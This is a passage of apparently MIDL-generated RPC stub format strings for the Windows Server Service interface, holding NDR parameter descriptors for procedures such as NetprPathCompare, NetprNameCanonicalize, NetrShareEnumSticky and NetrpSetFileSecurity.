*/\n/* 1668 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1670 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1672 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1674 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1676 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1678 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1682 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1684 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1686 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1688 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter PathName */\n\n/* 1690 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1692 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1694 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Outbuf */\n\n/* 1696 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1698 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1700 */\tNdrFcShort( 0xc58 ),\t/* Type Offset=3160 */\n\n\t/* Parameter OutbufLen */\n\n/* 1702 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1704 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1706 */\tNdrFcShort( 0xc6e ),\t/* 3182 */\n\n\t/* Parameter Prefix */\n\n/* 1708 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1710 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1712 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter PathType */\n\n/* 1714 */\tNdrFcShort( 0x158 ),\t/* Flags:  in, out, base type, simple ref, */\n/* 1716 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1720 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1722 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1724 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1726 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1728 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1730 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprPathCompare */\n\n/* 1732 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1734 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1738 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1740 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1742 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1744 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1746 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1748 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1750 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1752 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1754 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1756 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1758 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1760 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1762 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1764 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1766 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1768 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter PathName1 */\n\n/* 1770 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1772 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1774 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter PathName2 */\n\n/* 1776 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1778 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1780 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter PathType */\n\n/* 1782 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1784 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1786 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1788 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1790 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1792 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1794 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1796 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1798 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprNameValidate */\n\n/* 1800 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1802 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1806 */\tNdrFcShort( 0x21 ),\t/* 33 */\n/* 1808 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1810 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1812 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1814 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1816 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1818 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1820 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1822 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1824 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1826 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1828 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1830 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1832 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1834 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1836 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Name */\n\n/* 1838 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1840 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1842 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter NameType */\n\n/* 1844 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1846 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1848 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1850 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1852 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1854 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1856 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1858 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1860 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprNameCanonicalize */\n\n/* 1862 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1864 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1868 */\tNdrFcShort( 0x22 ),\t/* 34 */\n/* 1870 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1872 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1874 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1876 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1878 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1880 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1882 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1884 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1886 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1888 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1890 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1892 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1894 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1896 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1898 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Name */\n\n/* 1900 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1902 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1904 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Outbuf */\n\n/* 1906 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1908 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1910 */\tNdrFcShort( 0xc80 ),\t/* Type Offset=3200 */\n\n\t/* Parameter OutbufLen */\n\n/* 1912 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1914 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1916 */\tNdrFcShort( 0xc96 ),\t/* 3222 */\n\n\t/* Parameter NameType */\n\n/* 1918 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1920 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1922 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1924 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1926 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1928 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1930 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1932 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1934 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprNameCompare */\n\n/* 1936 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1938 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1942 */\tNdrFcShort( 0x23 ),\t/* 35 */\n/* 1944 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1946 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1948 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1950 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1952 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1954 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1956 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1958 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1962 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1964 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1966 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1968 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1970 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1972 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Name1 */\n\n/* 1974 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1976 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1978 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Name2 */\n\n/* 1980 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1982 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1984 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter NameType */\n\n/* 1986 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1988 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1990 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1992 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1994 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1996 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1998 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2000 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2002 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareEnumSticky */\n\n/* 2004 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2006 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2010 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2012 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2014 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2016 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2018 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2020 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2022 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2024 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2026 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2028 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2030 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2032 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2034 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2036 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2038 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2040 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 2042 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 2044 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2046 */\tNdrFcShort( 0x700 ),\t/* Type Offset=1792 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 2048 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2050 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2052 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 2054 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2056 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2058 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 2060 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 2062 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2064 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 2066 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2068 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2070 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDelStart */\n\n/* 2072 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2074 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2078 */\tNdrFcShort( 0x25 ),\t/* 37 */\n/* 2080 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2082 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2084 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2086 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2088 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2090 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2092 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2094 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2098 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2102 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2104 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2106 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2108 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 2110 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2112 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2114 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Reserved */\n\n/* 2116 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2118 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2120 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ContextHandle */\n\n/* 2122 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 2124 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2126 */\tNdrFcShort( 0xca4 ),\t/* Type Offset=3236 */\n\n\t/* Return value */\n\n/* 2128 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2130 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2132 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDelCommit */\n\n/* 2134 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2136 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2140 */\tNdrFcShort( 0x26 ),\t/* 38 */\n/* 2142 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2144 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 2146 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2148 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2150 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2152 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2154 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 2156 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2158 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2162 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2164 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ContextHandle */\n\n/* 2166 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 2168 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2170 */\tNdrFcShort( 0xcac ),\t/* Type Offset=3244 */\n\n\t/* Return value */\n\n/* 2172 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2174 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2176 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrpGetFileSecurity */\n\n/* 2178 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2180 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2184 */\tNdrFcShort( 0x27 ),\t/* 39 */\n/* 2186 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2188 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2190 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2192 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2194 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2196 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2198 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2200 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 2202 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2210 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2212 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2214 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ShareName */\n\n/* 2216 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2218 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2220 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter lpFileName */\n\n/* 2222 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2224 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2226 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter RequestedInformation */\n\n/* 2228 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2230 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2232 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter SecurityDescriptor */\n\n/* 2234 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2236 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2238 */\tNdrFcShort( 0xcb0 ),\t/* Type Offset=3248 */\n\n\t/* Return value */\n\n/* 2240 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2242 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2244 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrpSetFileSecurity */\n\n/* 2246 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2248 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2252 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2254 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2256 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2260 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2262 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2264 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2266 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2268 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2272 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2274 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2276 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2278 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2280 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2282 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ShareName */\n\n/* 2284 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2286 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2288 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter lpFileName */\n\n/* 2290 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2292 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2294 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter SecurityInformation */\n\n/* 2296 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2298 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2300 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter SecurityDescriptor */\n\n/* 2302 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2304 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2306 */\tNdrFcShort( 0xcb8 ),\t/* 